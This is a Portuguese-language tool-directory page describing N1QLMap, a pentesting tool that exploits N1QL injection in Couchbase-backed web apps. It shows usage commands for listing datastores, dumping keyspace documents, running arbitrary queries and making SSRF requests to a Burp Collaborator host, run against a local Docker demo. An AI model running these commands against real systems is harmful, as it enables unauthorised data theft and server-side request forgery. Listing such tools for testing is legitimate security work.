Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
N1QLMap — A ferramenta exfiltra dados do banco de dados Couchbase explorando vulnerabilidades de injeção N1QL. | Kitploit
Ferramentas/GitHubGitHub/fsecurelabs/n1qlmap
Exploração de Aplicações WebExfiltração de DadosTestes de PenetraçãoSegurança de Banco de Dados
GitHubfsecurelabs/n1qlmap

N1QLMap

A ferramenta exfiltra dados do banco de dados Couchbase explorando vulnerabilidades de injeção N1QL.

Ver Repositório
75141há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Descrição

O N1QLMap é uma ferramenta de exploração N1QL. Atualmente funciona com o banco de dados Couchbase. A ferramenta suporta extração de dados e execução de ataques SSRF via CURL. Mais informações podem ser encontradas aqui: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.

Uso

Ajuda

root@kitploit:~
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
                  host

positional arguments:
  host                  Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
  -h, --help            show this help message and exit
  -r REQUEST, --request REQUEST
                        Path to an HTTP request
  -k KEYWORD, --keyword KEYWORD
                        Keyword that exists in HTTP response when query is successful
  --proxy PROXY         Proxy server address
  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!
  -v, --verbose_debug   Set the verbosity level to debug
  -d, --datastores      Lists available datastores
  -ks DATASTORE_URL, --keyspaces DATASTORE_URL
                        Lists available keyspaces for specific datastore URL
  -e KEYSPACE_ID, --extract KEYSPACE_ID
                        Extracts data from a specific keyspace
  -q QUERY, --query QUERY
                        Run arbitrary N1QL query
  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
                        Runs CURL N1QL function inside the query, can be used to SSRF

Uso

  1. Coloque uma requisição HTTP no arquivo request.txt. Marque um ponto de injeção usando *i*. Consulte o arquivo example_request_1.txt como referência.
  2. Use um dos seguintes comandos.

Extrai datastores:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Extrai keyspaces do ID de datastore específico:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Extrai todos os documentos do keyspace fornecido:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Executa consulta arbitrária:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

Realiza requisição CURL / SSRF:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

Demonstração

Para brincar com a vulnerabilidade, você pode iniciar máquinas Docker com Couchbase e aplicação web NodeJS. Se você já atendeu aos Requisitos, basta executar:

root@kitploit:~
cd n1ql-demo
./quick_setup.sh

Agora, você pode executar os comandos descritos na seção Uso contra a aplicação web em Docker.

Requisitos

O script N1QLMap.py não precisa de requisitos específicos além do Python 3.

Os seguintes requisitos são apenas para a Demonstração fornecida no diretório n1ql-demo.

  • Docker
  • Docker Compose

Para instalar Docker e Docker Compose no Kali:

root@kitploit:~
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Start Docker Service
systemctl start docker

# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Vamos testar Docker:

root@kitploit:~
docker run hello-world
Baixar ferramenta